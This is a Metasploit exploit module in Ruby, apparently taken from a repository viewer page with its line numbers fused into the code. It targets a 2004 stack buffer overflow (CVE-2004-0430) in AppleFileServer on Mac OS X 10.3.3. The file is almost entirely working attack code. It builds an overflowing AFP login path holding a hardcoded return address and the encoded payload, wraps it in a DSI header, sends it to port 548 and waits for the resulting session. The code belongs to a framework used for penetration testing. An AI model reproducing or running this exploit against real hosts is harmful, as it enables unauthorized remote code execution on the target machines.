Path: blob/master/modules/exploits/osx/afp/loginext.rb
28052 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AppleFileServer LoginExt PathName Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in the AppleFileServer service17on MacOS X. This vulnerability was originally reported by Atstake and18was actually one of the few useful advisories ever published by that19company. You only have one chance to exploit this bug.20This particular exploit uses a stack-based return address that will21only work under optimal conditions.22},23'Author' => 'hdm',24'License' => MSF_LICENSE,25'References' => [26[ 'CVE', '2004-0430'],27[ 'OSVDB', '5762'],28[ 'BID', '10271'],29],30'Payload' => {31'Space' => 512,32'BadChars' => "\x00\x20",33'MinNops' => 128,34'Compat' =>35{36'ConnectionType' => "+find"37}38},39'Platform' => %w{osx},40'Targets' => [41# Target 042[43'Mac OS X 10.3.3',44{45'Platform' => 'osx',46'Arch' => ARCH_PPC,47'Ret' => 0xf0101c0c # stack address :<48},49],50],51'DisclosureDate' => '2004-05-03',52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960# Configure the default port to be AFP61register_options(62[63Opt::RPORT(548),64]65)66end6768def exploit69connect7071print_status("Trying target #{target.name}...")7273path = "\xff" * 102474path[168, 4] = Rex::Arch.pack_addr(target.arch, target.ret)75path[172, payload.encoded.length] = payload.encoded7677# The AFP header78afp = "\x3f\x00\x00\x00"7980# Add the authentication methods81["AFP3.1", "Cleartxt Passwrd"].each { |m|82afp << [m.length].pack('C') + m83}8485# Add the user type and afp path86afp << "\x03" + [9].pack('n') + rand_text_alphanumeric(9)87afp << "\x03" + [path.length].pack('n') + path8889# Add the data stream interface header90dsi =91[920, # Flags932, # Command94rand(65536), # XID950, # Data Offset96afp.length, # Data Length970 # Reserved98].pack("CCnNNN") + afp99100sock.put(dsi)101102handler103104disconnect105end106end107108109